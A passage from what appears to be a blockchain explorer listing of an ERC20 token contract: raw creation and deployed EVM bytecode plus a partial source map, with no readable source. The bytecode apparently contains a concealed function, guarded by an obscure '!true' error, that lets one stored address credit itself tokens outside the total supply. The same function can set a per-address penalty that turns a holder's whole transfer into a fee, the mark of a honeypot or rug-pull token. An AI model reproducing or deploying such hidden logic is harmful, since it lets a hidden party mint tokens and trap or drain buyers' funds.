127c9565b5b6000611efe84828501611e83565b91505092915050565b60008060408385031215611f1e57611f1d6127c9565b5b6000611f2c85828601611e6e565b9250506020611f3d85828601611e6e565b9150509250929050565b600080600060608486031215611f6057611f5f6127c9565b5b6000611f6e86828701611e6e565b9350506020611f7f86828701611e6e565b9250506040611f9086828701611e98565b9150509250925092565b60008060408385031215611fb157611fb06127c9565b5b6000611fbf85828601611e6e565b9250506020611fd085828601611e98565b9150509250929050565b6000611fe68383612001565b60208301905092915050565b611ffb816125dc565b82525050565b61200a816125ca565b82525050565b612019816125ca565b82525050565b600061202a82612470565b6120348185612493565b935061203f83612460565b8060005b838110156120705781516120578882611fda565b975061206283612486565b925050600181019050612043565b5085935050505092915050565b612086816125ee565b82525050565b61209581612631565b82525050565b6120a481612643565b82525050565b60006120b58261247b565b6120bf81856124a4565b93506120cf818560208601612679565b6120d8816127ce565b840191505092915050565b60006120f06023836124a4565b91506120fb826127df565b604082019050919050565b60006121136022836124a4565b915061211e8261282e565b604082019050919050565b6000612136601b836124a4565b91506121418261287d565b602082019050919050565b60006121596005836124a4565b9150612164826128a6565b602082019050919050565b600061217c6021836124a4565b9150612187826128cf565b604082019050919050565b600061219f6020836124a4565b91506121aa8261291e565b602082019050919050565b60006121c26025836124a4565b91506121cd82612947565b604082019050919050565b60006121e56024836124a4565b91506121f082612996565b604082019050919050565b6122048161261a565b82525050565b61221381612624565b82525050565b600060208201905061222e6000830184612010565b92915050565b60006020820190506122496000830184611ff2565b92915050565b60006040820190506122646000830185612010565b6122716020830184612010565b9392505050565b600060208201905061228d600083018461207d565b92915050565b60006020820190506122a8600083018461208c565b92915050565b600060208201905081810360008301526122c881846120aa565b905092915050565b600060208201905081810360008301526122e9816120e3565b9050919050565b6000602082019050818103600083015261230981612106565b9050919050565b6000602082019050818103600083015261232981612129565b9050919050565b600060208201905081810360008301526123498161214c565b9050919050565b600060208201905081810360008301526123698161216f565b9050919050565b6000602082019050818103600083015261238981612192565b9050919050565b600060208201905081810360008301526123a9816121b5565b9050919050565b600060208201905081810360008301526123c9816121d8565b9050919050565b60006020820190506123e560008301846121fb565b92915050565b600060a08201905061240060008301886121fb565b61240d602083018761209b565b818103604083015261241f818661201f565b905061242e6060830185612010565b61243b60808301846121fb565b9695505050505050565b600060208201905061245a600083018461220a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124c08261261a565b91506124cb8361261a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612500576124ff6126de565b5b828201905092915050565b60006125168261261a565b91506125218361261a565b9250826125315761253061270d565b5b828204905092915050565b60006125478261261a565b91506125528361261a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561258b5761258a6126de565b5b828202905092915050565b60006125a18261261a565b91506125ac8361261a565b9250828210156125bf576125be6126de565b5b828203905092915050565b60006125d5826125fa565b9050919050565b60006125e7826125fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061263c82612655565b9050919050565b600061264e8261261a565b9050919050565b600061266082612667565b9050919050565b6000612672826125fa565b9050919050565b60005b8381101561269757808201518184015260208101905061267c565b838111156126a6576000848401525b50505050565b600060028204905060018216806126c457607f821691505b602082108114156126d8576126d761273c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f2174727565000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6129ee816125ca565b81146129f957600080fd5b50565b612a058161261a565b8114612a1057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025c550a1c40fd3c81b2bfd0057a7aa90653a4f0a4b24dc072ee89182d9ab042a64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80634a74bb02116100ab5780639887e2261161006f5780639887e226146103f1578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a5780635abcc5411461033557806370a082311461035e5780638da5cb5b1461039b57806395d89b41146103c657610135565b806327c8f835116100f257806327c8f835146102355780632e410f5e14610260578063313ce5671461027757806332bffed3146102a25780633345611e146102cd57610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c91906122ae565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611f9a565b6105cb565b6040516101999190612278565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612293565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906123d0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611f47565b610619565b60405161022c9190612278565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b6040516102579190612219565b60405180910390f35b34801561026c57600080fd5b50610275610717565b005b34801561028357600080fd5b5061028c610aef565b6040516102999190612445565b60405180910390f35b3480156102ae57600080fd5b506102b7610b06565b6040516102c49190612234565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190611ead565b610b2c565b6040516103019190612278565b60405180910390f35b34801561031657600080fd5b5061031f610b4c565b60405161032c9190612278565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611f9a565b610b5f565b005b34801561036a57600080fd5b5061038560048036038101906103809190611ead565b610cfa565b60405161039291906123d0565b60405180910390f35b3480156103a757600080fd5b506103b0610d43565b6040516103bd9190612219565b60405180910390f35b3480156103d257600080fd5b506103db610d6c565b6040516103e891906122ae565b60405180910390f35b3480156103fd57600080fd5b5061041860048036038101906104139190611ead565b610dfe565b60405161042591906123d0565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611f9a565b610e16565b6040516104629190612278565b60405180910390f35b34801561047757600080fd5b50610480610e35565b60405161048d9190612219565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190611f07565b610e5b565b6040516104ca91906123d0565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190611ead565b610ee2565b005b34801561050857600080fd5b50610523600480360381019061051e9190611ead565b611034565b6040516105309190612278565b60405180910390f35b606060018054610548906126ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610574906126ac565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8611054565b848461105c565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611227565b506106e884610633611054565b6106e385604051806060016040528060288152602001612a1460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699611054565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116099092919063ffffffff16565b61105c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b61071f611054565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612370565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611eda565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a557600080fd5b505afa1580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611eda565b6040518363ffffffff1660e01b81526004016108fa92919061224f565b602060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c9190611eda565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360009054906101000a900460ff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b80610b75600a601761166d90919063ffffffff16565b11610b9857610b97610b9082836116e890919063ffffffff16565b6004611746565b5b80600180610bb16000600261166d90919063ffffffff16565b610bbb91906124b5565b610bc591906124b5565b1415610c11576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060641415610c5f5780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf6576000610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec90612330565b60405180910390fd5b5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d7b906126ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610da7906126ac565b8015610df45780601f10610dc957610100808354040283529160200191610df4565b820191906000526020600020905b815481529060010190602001808311610dd757829003601f168201915b5050505050905090565b60086020528060005260406000206000915090505481565b6000610e2a610e23611054565b8484611227565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eea611054565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612370565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611133906122f0565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161121a91906123d0565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f90612390565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff906122d0565b60405180910390fd5b600b60149054906101000a900460ff161561132f576113288484846117c1565b9050611602565b600061133a30610cfa565b9050600b60149054906101000a900460ff161580156113a35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113b2576113b181611994565b5b61140483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114ea5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114fd576114f88685611c5e565b6114ff565b835b905061155381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115f391906123d0565b60405180910390a36001925050505b9392505050565b6000838311158290611651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164891906122ae565b60405180910390fd5b50600083856116609190612596565b9050809150509392505050565b60008083141561168057600090506116e2565b6000828461168e919061253c565b905082848261169d919061250b565b146116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612350565b60405180910390fd5b809150505b92915050565b60008082846116f791906124b5565b90508381101561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612310565b60405180910390fd5b8091505092915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117b691906124b5565b925050819055505050565b600061184c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161198191906123d0565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119cc576119cb61279a565b5b6040519080825280602002602001820160405280156119fa5781602001602082028036833780820191505090505b5090503081600081518110611a1257611a1161276b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ab457600080fd5b505afa158015611ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aec9190611eda565b81600181518110611b0057611aff61276b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611bc09594939291906123eb565b600060405180830381600087803b158015611bda57600080fd5b505af1925050508015611beb575060015b611bf457611bf5565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611c5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611609565b905092915050565b600080611c886064611c7a60038661166d90919063ffffffff16565b611dc190919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611ce0578281611cdd91906124b5565b90505b6000811115611da55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d3891906124b5565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d9c91906123d0565b60405180910390a35b611db88184611c1490919063ffffffff16565b91505092915050565b6000611e0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e0b565b905092915050565b60008083118290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4991906122ae565b60405180910390fd5b5060008385611e61919061250b565b9050809150509392505050565b600081359050611e7d816129e5565b92915050565b600081519050611e92816129e5565b92915050565b600081359050611ea7816129fc565b92915050565b600060208284031215611ec357611ec26127c9565b5b6000611ed184828501611e6e565b91505092915050565b600060208284031215611ef057611eef6127c9565b5b6000611efe84828501611e83565b91505092915050565b60008060408385031215611f1e57611f1d6127c9565b5b6000611f2c85828601611e6e565b9250506020611f3d85828601611e6e565b9150509250929050565b600080600060608486031215611f6057611f5f6127c9565b5b6000611f6e86828701611e6e565b9350506020611f7f86828701611e6e565b9250506040611f9086828701611e98565b9150509250925092565b60008060408385031215611fb157611fb06127c9565b5b6000611fbf85828601611e6e565b9250506020611fd085828601611e98565b9150509250929050565b6000611fe68383612001565b60208301905092915050565b611ffb816125dc565b82525050565b61200a816125ca565b82525050565b612019816125ca565b82525050565b600061202a82612470565b6120348185612493565b935061203f83612460565b8060005b838110156120705781516120578882611fda565b975061206283612486565b925050600181019050612043565b5085935050505092915050565b612086816125ee565b82525050565b61209581612631565b82525050565b6120a481612643565b82525050565b60006120b58261247b565b6120bf81856124a4565b93506120cf818560208601612679565b6120d8816127ce565b840191505092915050565b60006120f06023836124a4565b91506120fb826127df565b604082019050919050565b60006121136022836124a4565b915061211e8261282e565b604082019050919050565b6000612136601b836124a4565b91506121418261287d565b602082019050919050565b60006121596005836124a4565b9150612164826128a6565b602082019050919050565b600061217c6021836124a4565b9150612187826128cf565b604082019050919050565b600061219f6020836124a4565b91506121aa8261291e565b602082019050919050565b60006121c26025836124a4565b91506121cd82612947565b604082019050919050565b60006121e56024836124a4565b91506121f082612996565b604082019050919050565b6122048161261a565b82525050565b61221381612624565b82525050565b600060208201905061222e6000830184612010565b92915050565b60006020820190506122496000830184611ff2565b92915050565b60006040820190506122646000830185612010565b6122716020830184612010565b9392505050565b600060208201905061228d600083018461207d565b92915050565b60006020820190506122a8600083018461208c565b92915050565b600060208201905081810360008301526122c881846120aa565b905092915050565b600060208201905081810360008301526122e9816120e3565b9050919050565b6000602082019050818103600083015261230981612106565b9050919050565b6000602082019050818103600083015261232981612129565b9050919050565b600060208201905081810360008301526123498161214c565b9050919050565b600060208201905081810360008301526123698161216f565b9050919050565b6000602082019050818103600083015261238981612192565b9050919050565b600060208201905081810360008301526123a9816121b5565b9050919050565b600060208201905081810360008301526123c9816121d8565b9050919050565b60006020820190506123e560008301846121fb565b92915050565b600060a08201905061240060008301886121fb565b61240d602083018761209b565b818103604083015261241f818661201f565b905061242e6060830185612010565b61243b60808301846121fb565b9695505050505050565b600060208201905061245a600083018461220a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124c08261261a565b91506124cb8361261a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612500576124ff6126de565b5b828201905092915050565b60006125168261261a565b91506125218361261a565b9250826125315761253061270d565b5b828204905092915050565b60006125478261261a565b91506125528361261a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561258b5761258a6126de565b5b828202905092915050565b60006125a18261261a565b91506125ac8361261a565b9250828210156125bf576125be6126de565b5b828203905092915050565b60006125d5826125fa565b9050919050565b60006125e7826125fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061263c82612655565b9050919050565b600061264e8261261a565b9050919050565b600061266082612667565b9050919050565b6000612672826125fa565b9050919050565b60005b8381101561269757808201518184015260208101905061267c565b838111156126a6576000848401525b50505050565b600060028204905060018216806126c457607f821691505b602082108114156126d8576126d761273c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f2174727565000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6129ee816125ca565b81146129f957600080fd5b50565b612a058161261a565b8114612a1057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025c550a1c40fd3c81b2bfd0057a7aa90653a4f0a4b24dc072ee89182d9ab042a64736f6c63430008070033

Deployed Bytecode Sourcemap

3742:6148:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5039:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5702:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4431:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5316:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6253:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4039:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6749:517;;;;;;;;;;;;;:::i;:::-;;5225:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3958:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4205:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4546:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8985:347;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5424:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2875:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5130:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4314:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6574:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4479:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5551:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3089:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4262:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5039:83;5076:13;5109:5;5102:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5039:83;:::o;5702:161::-;5777:4;5794:39;5803:12;:10;:12::i;:::-;5817:7;5826:6;5794:8;:39::i;:::-;5851:4;5844:11;;5702:161;;;;:::o;4431:41::-;;;;;;;;;;;;;:::o;5316:100::-;5369:7;5396:12;;5389:19;;5316:100;:::o;6253:313::-;6351:4;6368:36;6378:6;6386:9;6397:6;6368:9;:36::i;:::-;;6415:121;6424:6;6432:12;:10;:12::i;:::-;6446:89;6484:6;6446:89;;;;;;;;;;;;;;;;;:11;:19;6458:6;6446:19;;;;;;;;;;;;;;;:33;6466:12;:10;:12::i;:::-;6446:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6415:8;:121::i;:::-;6554:4;6547:11;;6253:313;;;;;:::o;4039:81::-;;;:::o;6749:517::-;3012:12;:10;:12::i;:::-;3002:22;;:6;;;;;;;;;;:22;;;2994:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6800:35:::1;6857:42;6800:100;;6988:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6970:70;;;7049:4;7056:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6970:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6956:11;;:124;;;;;;;;;;;;;;;;;;7111:16;7093:15;;:34;;;;;;;;;;;;;;;;;;7175:4;7138:12;:34;7159:11;;;;;;;;;;;7138:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7254:1;7245:11;7190;:26;7210:4;7190:26;;;;;;;;;;;;;;;:52;7225:15;;;;;;;;;;;7190:52;;;;;;;;;;;;;;;:66;;;;6789:477;6749:517::o:0;5225:83::-;5266:5;5291:9;;;;;;;;;;;5284:16;;5225:83;:::o;3958:29::-;;;;;;;;;;;;;:::o;4205:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4546:40::-;;;;;;;;;;;;;:::o;8985:347::-;9087:5;9061:22;9079:3;9069:4;9061:17;;:22;;;;:::i;:::-;:31;9057:70;;9094:33;9100:16;9110:5;9100;:9;;:16;;;;:::i;:::-;9117:9;9094:5;:33::i;:::-;9057:70;9173:5;9168:1;9166;9142:21;9159:3;9150;9142:16;;:21;;;;:::i;:::-;:25;;;;:::i;:::-;:27;;;;:::i;:::-;:36;9138:68;;;9203:3;9180:6;:20;9187:12;